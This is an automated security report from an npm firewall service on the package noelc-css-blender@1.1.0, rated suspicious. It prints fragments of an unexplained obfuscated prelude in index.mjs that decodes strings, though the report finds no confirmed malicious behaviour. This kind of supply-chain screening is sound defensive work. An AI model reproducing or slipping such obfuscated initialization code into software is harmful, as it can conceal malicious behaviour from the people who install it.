---
canonical: "https://firewall.lpm.dev/npm/noelc-css-blender/v/1.1.0"
markdown: "https://firewall.lpm.dev/npm/noelc-css-blender/v/1.1.0.md"
package: "noelc-css-blender"
report_status: "published"
title: "noelc-css-blender@1.1.0 npm security report"
verdict: "suspicious"
version: "1.1.0"
---

# noelc-css-blender@1.1.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Flagged — allowed with a warning** — Allowed by default policy, but 4 finding(s) warrant review before installing.

- **Verdict:** Suspicious
- **Product-default install policy:** Warn
- **Firewall policy:** Matched warn-list
- **Public report status:** Published
- **Threat category:** Unknown
- **Selected version:** 1.1.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: suspicious; recommendation: downgrade to warn. This assessment is supporting evidence; the published decision above determines the current policy.

The visible API matches the package description, and inspection found no confirmed attack sink. The unusually large obfuscated initialization remains unexplained, so this warrants a warning rather than a clean verdict or a block.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Suspicious
- **Recorded analysis confidence:** 78.0%
- **Started:** 2026-10-24T11:42:41.824Z
- **Finished:** 2026-10-24T11:43:25.250Z
- **Download time:** 773 ms
- **Static scan time:** 227 ms
- **AI review time:** 42425 ms
- **Total time:** 43426 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The entrypoint has a substantial obfuscated initialization prelude whose purpose is unresolved. Static inspection did not establish a concrete attack behavior.

- **Trigger:** Importing the package loads index.mjs and runs its module-level initialization.

- **Impact:** The unexplained initialization reduces confidence in the package, but no specific harmful effect was verified.

- **Evidence paths:** index.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-24T11:43:25.250Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The prelude decodes strings and performs many opaque calculations before the visible CSS utility functions.

- **Rationale:** The visible API matches the package description, and inspection found no confirmed attack sink. The unusually large obfuscated initialization remains unexplained, so this warrants a warning rather than a clean verdict or a block.

- **Files touched:** index.mjs

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 78.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Unknown

- **False-positive risk:** Medium

- **Evidence for warning:** The manifest points consumers to index.mjs and declares no lifecycle scripts., The entrypoint contains an encoded-string decoder and a large obfuscated prelude before the utility exports., The prelude performs opaque string and numeric calculations during module initialization; their purpose is unexplained., The visible exports implement token-map merging and CSS-variable formatting.

- **Evidence against:** The inspected source shows no concrete network, file, process, or dynamic-code execution behavior., The manifest and visible exports are consistent with a CSS token utility.

## Affected versions and remediation

This report applies to noelc-css-blender@1.1.0.

- Review the evidence and your use of noelc-css-blender@1.1.0 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.

## Public findings

### 1. Medium: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 78.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/noelc-css-blender@1.1.0/package.json>)

The manifest points consumers to index.mjs and declares no lifecycle scripts.

Public source snippet (untrusted):

```json
{
  "name": "noelc-css-blender",
  "version": "1.1.0",
  "description": "Tiny ESM utility for blending CSS custom-property token maps into var() declarations.",
  "license": "MIT",
  "author": "Noel C",
  "type": "module",
  "main": "index.mjs",
  "exports": {
    ".": "./index.mjs",
    "./package.json": "./package.json"
  },
  "files": [
    "index.mjs",
    "LICENSE",
    "README.md"
  ],
  "keywords": [
    "css",
    "custom-properties",
    "tokens",
    "theme",
    "utility"
  ],
  "engines": {
    "node": ">=18"
  },
  "publishConfig": {
    "access": "public"
  }
}
```

### 2. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** index.mjs
- **Public source:** [View source](<https://unpkg.com/noelc-css-blender@1.1.0/index.mjs>)

The entrypoint contains an encoded-string decoder and a large obfuscated prelude before the utility exports.

Public source snippet (untrusted):

```javascript
const _0x83f5a5=["38U=","","xQ==","3g==","","","yA==","yMg="];const _0x323300cba=0xe5;const _0x3486cf={};const _0x45f16a=(i)=>{if(_0x3486cf[i]!==void 0)
```

### 3. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** index.mjs
- **Public source:** [View source](<https://unpkg.com/noelc-css-blender@1.1.0/index.mjs>)

The prelude performs opaque string and numeric calculations during module initialization; their purpose is unexplained.

Public source snippet (untrusted):

```javascript
rev<847){throw _0xb098dcbe;}const _0x7632f5065='jtntqc';const _0x1cd8ada25=_0x7632f5065.split('').reduce((s,c)=>((s<<5)-s+c.charCodeAt(0))|0,424);Math.abs(_0x1cd8ada25)>=0&&void 0;const _0xd7ded='dnzvqfaoq';const _0x558e
```

### 4. Medium: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 78.0%
- **Path:** index.mjs
- **Public source:** [View source](<https://unpkg.com/noelc-css-blender@1.1.0/index.mjs>)

The visible exports implement token-map merging and CSS-variable formatting.

Public source snippet (untrusted):

```javascript
*/export function blendTokens(base = {},  override = {}) {  const key = stableKey([base, override]);     if (MEMO.has(key)) return MEMO.get(key);const out = { ...base };        for (const [name,   value] of Object.entries(override)) {       out[name] = value;       }       MEMO.set(key,out);      return out;  }       /**       * Render a token map as a CSS custom-property block body,e.g.   * cssVars({ 'bg': '
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** noelc-css-blender
- **Ecosystem:** npm
- **Version:** 1.1.0
- **License:** MIT
- **Version published:** 2026-10-24T11:38:40.766Z
- **Package first seen:** 2026-10-24T11:43:25.250Z
- **Package last seen:** 2026-10-26T07:00:03.745Z
- **Known versions:** 7
- **Latest version:** 0.0.1-security
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/noelc-css-blender/v/1.1.0>)
